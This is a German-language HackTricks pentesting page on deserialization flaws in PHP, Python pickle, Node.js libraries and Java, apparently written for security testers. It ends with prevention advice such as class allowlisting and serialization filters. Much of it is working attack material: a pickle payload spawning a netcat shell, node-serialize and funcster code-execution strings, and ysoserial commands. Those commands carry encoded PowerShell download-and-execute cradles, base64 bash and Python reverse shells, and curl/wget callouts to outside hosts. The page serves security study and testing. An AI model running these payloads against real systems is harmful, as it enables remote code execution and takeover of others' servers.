Deserialization

Support HackTricks

Grundinformationen

Serialization wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekonstruiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.

Deserialization hingegen ist der Prozess, der der Serialisierung entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert sind, und deren Rekonstruktion zurück in ein Objekt.

Deserialization kann gefährlich sein, da sie potenziell Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.

PHP

In PHP werden spezifische magische Methoden während der Serialisierungs- und Deserialisierungsprozesse verwendet:

  • __sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array der Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.

  • __wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie wird verwendet, um alle Datenbankverbindungen, die während der Serialisierung verloren gegangen sein könnten, wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.

  • __unserialize: Diese Methode wird anstelle von __wakeup (sofern sie existiert) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu __wakeup.

  • __destruct: Diese Methode wird aufgerufen, wenn ein Objekt kurz davor steht, zerstört zu werden, oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, wie das Schließen von Datei-Handles oder Datenbankverbindungen.

  • __toString: Diese Methode ermöglicht es, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben basierend auf den Funktionsaufrufen innerhalb des Objekts durchzuführen, wodurch eine textuelle Darstellung des Objekts bereitgestellt wird.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen __wakeup und __destruct aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials zu finden ist, dass die Funktion __toString aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend passiert das nicht mehr.

Die Methode __unserialize(array $data) wird anstatt von __wakeup() aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Sie können ein erklärtes PHP-Beispiel hier lesen: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf oder hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload-Klassen

Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:

PHP - Deserialization + Autoload Classes

Serialisierung von Referenzwerten

Wenn Sie aus irgendeinem Grund einen Wert als Referenz zu einem anderen serialisierten Wert serialisieren möchten, können Sie:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial für PHP)

PHPGGC kann Ihnen helfen, Payloads zu generieren, um PHP-Deserialisierungen auszunutzen. Beachten Sie, dass Sie in mehreren Fällen keinen Weg finden werden, um eine Deserialisierung im Quellcode der Anwendung auszunutzen, aber Sie möglicherweise den Code externer PHP-Erweiterungen ausnutzen können. Wenn möglich, überprüfen Sie die phpinfo() des Servers und suchen Sie im Internet (sogar in den Gadgets von PHPGGC) nach möglichen Gadgets, die Sie ausnutzen könnten.

phar:// Metadaten-Deserialisierung

Wenn Sie eine LFI gefunden haben, die nur die Datei liest und den PHP-Code darin nicht ausführt, zum Beispiel mit Funktionen wie file_get_contents(), fopen(), file() oder file_exists(), md5_file(), filemtime() oder filesize(). Sie können versuchen, eine Deserialisierung auszunutzen, die auftritt, wenn eine Datei mit dem phar-Protokoll gelesen wird. Für weitere Informationen lesen Sie den folgenden Beitrag:

phar:// deserialization

Python

Pickle

Wenn das Objekt unpickled wird, wird die Funktion __reduce__ ausgeführt. Bei einer Ausnutzung könnte der Server einen Fehler zurückgeben.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Bevor Sie die Bypass-Technik überprüfen, versuchen Sie, print(base64.b64encode(pickle.dumps(P(),2))) zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.

Für weitere Informationen über das Entkommen aus pickle jails siehe:

Bypass Python sandboxes

Yaml & jsonpickle

Die folgende Seite präsentiert die Technik, um eine unsichere Deserialisierung in YAMLs Python-Bibliotheken zu missbrauchen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für Pickle, PyYAML, jsonpickle und ruamel.yaml zu generieren:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS hat keine "magischen" Funktionen wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es gibt einige Funktionen, die häufig verwendet werden, auch ohne sie direkt aufzurufen, wie toString, valueOf, toJSON. Wenn Sie eine Deserialisierung missbrauchen, können Sie diese Funktionen kompromittieren, um anderen Code auszuführen (potenziell durch Missbrauch von Prototyp-Verschmutzungen), könnten Sie beliebigen Code ausführen, wenn sie aufgerufen werden.

Eine weitere "magische" Möglichkeit, eine Funktion aufzurufen, ohne sie direkt aufzurufen, besteht darin, ein Objekt zu kompromittieren, das von einer asynchronen Funktion zurückgegeben wird (Versprechen). Denn wenn Sie das Rückgabeobjekt in ein anderes Versprechen mit einer Eigenschaft namens "then" vom Typ Funktion umwandeln, wird es ausgeführt, nur weil es von einem anderen Versprechen zurückgegeben wird. Folgen Sie diesem Link für weitere Informationen.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ und prototype Verschmutzung

Wenn Sie mehr über diese Technik erfahren möchten, sehen Sie sich das folgende Tutorial an:

NodeJS - __proto__ & prototype Pollution

Diese Bibliothek ermöglicht es, Funktionen zu serialisieren. Beispiel:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Das serialisierte Objekt wird wie folgt aussehen:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Sie können im Beispiel sehen, dass, wenn eine Funktion serialisiert wird, das _$$ND_FUNC$$_-Flag an das serialisierte Objekt angehängt wird.

Innerhalb der Datei node-serialize/lib/serialize.js finden Sie dasselbe Flag und wie der Code es verwendet.

Wie Sie im letzten Codeabschnitt sehen können, wenn das Flag gefunden wird, wird eval verwendet, um die Funktion zu deserialisieren, also wird im Grunde Benutzereingabe innerhalb der eval-Funktion verwendet.

Allerdings führt das bloße Serialisieren einer Funktion nicht zu ihrer Ausführung, da es notwendig wäre, dass ein Teil des Codes y.rce aufruft in unserem Beispiel, und das ist höchst unwahrscheinlich. Dennoch könnten Sie einfach das serialisierte Objekt modifizieren, indem Sie einige Klammern hinzufügen, um die serialisierte Funktion automatisch auszuführen, wenn das Objekt deserialisiert wird. Im nächsten Codeabschnitt beachten Sie die letzte Klammer und wie die unserialize-Funktion den Code automatisch ausführen wird:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Wie zuvor angegeben, wird diese Bibliothek den Code nach _$$ND_FUNC$$_ erhalten und ihn ausführen mit eval. Daher können Sie, um Code automatisch auszuführen, den Teil zur Funktions Erstellung und die letzte Klammer löschen und einfach eine JS-Einzeiler wie im folgenden Beispiel ausführen:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Sie können hier weitere Informationen über die Ausnutzung dieser Schwachstelle finden.

Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit von Standard-Built-in-Objekten; sie fallen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf Built-in-Objekten aufzurufen, was zu Ausnahmen wie "ReferenceError: console is not defined" führt, wenn Befehle wie console.log() oder require(something) verwendet werden.

Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller Standard-Built-in-Objekte, durch einen bestimmten Ansatz möglich. Durch die direkte Nutzung des globalen Kontexts kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Für weitere Informationen lesen Sie diese Quelle.

Das serialize-javascript-Paket ist ausschließlich für Serialisierungszwecke konzipiert und verfügt über keine integrierten Deserialisierungsfunktionen. Die Benutzer sind dafür verantwortlich, ihre eigene Methode zur Deserialisierung zu implementieren. Eine direkte Verwendung von eval wird im offiziellen Beispiel zur Deserialisierung von serialisierten Daten vorgeschlagen:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Wenn diese Funktion verwendet wird, um Objekte zu deserialisieren, können Sie es leicht ausnutzen:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Für weitere Informationen lesen Sie diese Quelle.

Cryo-Bibliothek

In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliothek missbrauchen können, um beliebige Befehle auszuführen:

Java - HTTP

In Java werden Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenzieller Ausführung schädlicher Aktionen führt.

Fingerabdrücke

White Box

Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:

  • Klassen, die das Serializable-Interface implementieren.

  • Verwendung von java.io.ObjectInputStream, readObject, readUnshare-Funktionen.

Achten Sie besonders auf:

  • XMLDecoder, der mit von externen Benutzern definierten Parametern verwendet wird.

  • XStream's fromXML-Methode, insbesondere wenn die XStream-Version kleiner oder gleich 1.46 ist, da sie anfällig für Serialisierungsprobleme ist.

  • ObjectInputStream in Verbindung mit der readObject-Methode.

  • Implementierung von Methoden wie readObject, readObjectNodData, readResolve oder readExternal.

  • ObjectInputStream.readUnshared.

  • Allgemeine Verwendung von Serializable.

Black Box

Für Black-Box-Tests suchen Sie nach spezifischen Signaturen oder "Magic Bytes", die java-serialisierte Objekte kennzeichnen (stammend von ObjectInputStream):

  • Hexadezimales Muster: AC ED 00 05.

  • Base64-Muster: rO0.

  • HTTP-Antwortheader mit Content-type, der auf application/x-java-serialized-object gesetzt ist.

  • Hexadezimales Muster, das auf eine vorherige Kompression hinweist: 1F 8B 08 00.

  • Base64-Muster, das auf eine vorherige Kompression hinweist: H4sIA.

  • Webdateien mit der Erweiterung .faces und dem Parameter faces.ViewState. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im Beitrag über Java JSF ViewState Deserialization beschrieben.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Überprüfen, ob verwundbar

Wenn Sie lernen möchten, wie ein Java Deserialized Exploit funktioniert, sollten Sie sich Basic Java Deserialization, Java DNS Deserialization und CommonsCollection1 Payload ansehen.

White Box Test

Sie können überprüfen, ob eine Anwendung mit bekannten Schwachstellen installiert ist.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Du könntest versuchen, alle Bibliotheken zu überprüfen, von denen bekannt ist, dass sie anfällig sind und für die Ysoserial einen Exploit bereitstellen kann. Oder du könntest die auf Java-Deserialization-Cheat-Sheet angegebenen Bibliotheken überprüfen. Du könntest auch gadgetinspector verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können. Beim Ausführen von gadgetinspector (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt schreiben. Bitte beachte, dass gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt.

Black Box Test

Mit der Burp-Erweiterung gadgetprobe kannst du identifizieren, welche Bibliotheken verfügbar sind (und sogar die Versionen). Mit diesen Informationen könnte es einfacher sein, eine Payload auszuwählen, um die Schwachstelle auszunutzen. Lies dies, um mehr über GadgetProbe zu erfahren. GadgetProbe konzentriert sich auf ObjectInputStream-Deserialisierungen.

Mit der Burp-Erweiterung Java Deserialization Scanner kannst du anfällige Bibliotheken identifizieren, die mit ysoserial ausgenutzt werden können, und sie ausnutzen. Lies dies, um mehr über den Java Deserialization Scanner zu erfahren. Java Deserialization Scanner konzentriert sich auf ObjectInputStream-Deserialisierungen.

Du kannst auch Freddy verwenden, um Deserialisierungs-Schwachstellen in Burp zu erkennen. Dieses Plugin erkennt nicht nur ObjectInputStream-bezogene Schwachstellen, sondern auch Schwachstellen von Json- und Yml-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, diese mit Sleep- oder DNS-Payloads zu bestätigen. Hier findest du weitere Informationen über Freddy.

Serialization Test

Es geht nicht nur darum, zu überprüfen, ob eine anfällige Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, die Daten im serialisierten Objekt zu ändern und einige Überprüfungen zu umgehen (vielleicht erhältst du Administratorrechte in einer Webanwendung). Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, kannst du SerializationDumper verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Überprüfungen zu umgehen.

Exploit

ysoserial

Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist ysoserial (hier herunterladen). Du könntest auch in Betracht ziehen, ysoseral-modified zu verwenden, das dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden. Beachte, dass dieses Tool fokussiert ist auf das Ausnutzen von ObjectInputStream. Ich würde mit der "URLDNS"-Payload vor einer RCE-Payload beginnen, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload könnte.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wenn Sie eine Payload für java.lang.Runtime.exec() erstellen, können Sie keine Sonderzeichen wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen oder sogar Argumente an einen Befehl zu übergeben, die durch Leerzeichen getrennt sind (Sie können echo -n "hello world" tun, aber Sie können nicht python2 -c 'print "Hello world"' tun). Um die Payload korrekt zu codieren, könnten Sie diese Webseite verwenden.

Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs-**Payloads für Windows und Linux zu erstellen und sie dann auf der verwundbaren Webseite zu testen:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Du kannst verwenden https://github.com/pwntester/SerialKillerBypassGadgetCollection neben ysoserial, um mehr Exploits zu erstellen. Weitere Informationen zu diesem Tool findest du in den Folien des Vortrags, in dem das Tool vorgestellt wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kann verwendet werden, um Payloads zu generieren, um verschiedene Json- und Yml-Serialisierungsbibliotheken in Java auszunutzen. Um das Projekt zu kompilieren, musste ich diese Abhängigkeiten zu pom.xml hinzufügen:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installiere Maven und kompiliere das Projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lesen Sie mehr über diese Java JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Warum

Java verwendet viel Serialisierung für verschiedene Zwecke wie:

  • HTTP-Anfragen: Serialisierung wird häufig im Management von Parametern, ViewState, Cookies usw. eingesetzt.

  • RMI (Remote Method Invocation): Das Java RMI-Protokoll, das vollständig auf Serialisierung basiert, ist ein Grundpfeiler für die Fernkommunikation in Java-Anwendungen.

  • RMI über HTTP: Diese Methode wird häufig von Java-basierten dicken Client-Webanwendungen verwendet, die Serialisierung für alle Objektkommunikationen nutzen.

  • JMX (Java Management Extensions): JMX verwendet Serialisierung zum Übertragen von Objekten über das Netzwerk.

  • Benutzerdefinierte Protokolle: In Java besteht die Standardpraxis darin, rohe Java-Objekte zu übertragen, was in den kommenden Exploit-Beispielen demonstriert wird.

Prävention

Transiente Objekte

Eine Klasse, die Serializable implementiert, kann als transient jedes Objekt innerhalb der Klasse implementieren, das nicht serialisierbar sein sollte. Zum Beispiel:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermeiden Sie die Serialisierung einer Klasse, die Serializable implementieren muss

In Szenarien, in denen bestimmte Objekte das Serializable-Interface aufgrund der Klassenhierarchie implementieren müssen, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, stellen Sie sicher, dass diese Objekte nicht deserialisierbar sind, indem Sie eine final readObject()-Methode definieren, die konsequent eine Ausnahme auslöst, wie unten gezeigt:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbesserung der Deserialisierungs-Sicherheit in Java

Anpassung von java.io.ObjectInputStream ist ein praktischer Ansatz zur Sicherung von Deserialisierungsprozessen. Diese Methode ist geeignet, wenn:

  • Der Deserialisierungscode unter Ihrer Kontrolle steht.

  • Die Klassen, die für die Deserialisierung erwartet werden, bekannt sind.

Überschreiben Sie die resolveClass()-Methode, um die Deserialisierung nur auf erlaubte Klassen zu beschränken. Dies verhindert die Deserialisierung von Klassen, die nicht ausdrücklich erlaubt sind, wie im folgenden Beispiel, das die Deserialisierung nur auf die Klasse Bicycle beschränkt:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Verwendung eines Java-Agents zur Sicherheitsverbesserung bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für das Blacklisting schädlicher Klassen, unter Verwendung eines JVM-Parameters:

-javaagent:name-of-agent.jar

Es bietet eine Möglichkeit, die Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.

Überprüfen Sie ein Beispiel in rO0 by Contrast Security

Implementierung von Serialisierungsfiltern: Java 9 führte Serialisierungsfilter über das ObjectInputFilter-Interface ein, das einen leistungsstarken Mechanismus zum Festlegen von Kriterien bietet, die serialisierte Objekte erfüllen müssen, bevor sie deserialisiert werden. Diese Filter können global oder pro Stream angewendet werden und bieten eine granulare Kontrolle über den Deserialisierungsprozess.

Um Serialisierungsfilter zu nutzen, können Sie einen globalen Filter festlegen, der auf alle Deserialisierungsoperationen angewendet wird, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Nutzung externer Bibliotheken zur Verbesserung der Sicherheit: Bibliotheken wie NotSoSerial, jdeserialize und Kryo bieten erweiterte Funktionen zur Kontrolle und Überwachung der Java-Deserialisierung. Diese Bibliotheken können zusätzliche Sicherheitsschichten bereitstellen, wie z.B. das Whitelisting oder Blacklisting von Klassen, die Analyse von serialisierten Objekten vor der Deserialisierung und die Implementierung benutzerdefinierter Serialisierungsstrategien.

  • NotSoSerial unterbricht Deserialisierungsprozesse, um die Ausführung von nicht vertrauenswürdigem Code zu verhindern.

  • jdeserialize ermöglicht die Analyse von serialisierten Java-Objekten, ohne sie zu deserialisieren, und hilft dabei, potenziell schädliche Inhalte zu identifizieren.

  • Kryo ist ein alternatives Serialisierungsframework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit verbessern können.

Referenzen

JNDI-Injection & log4Shell

Finde heraus, was JNDI-Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

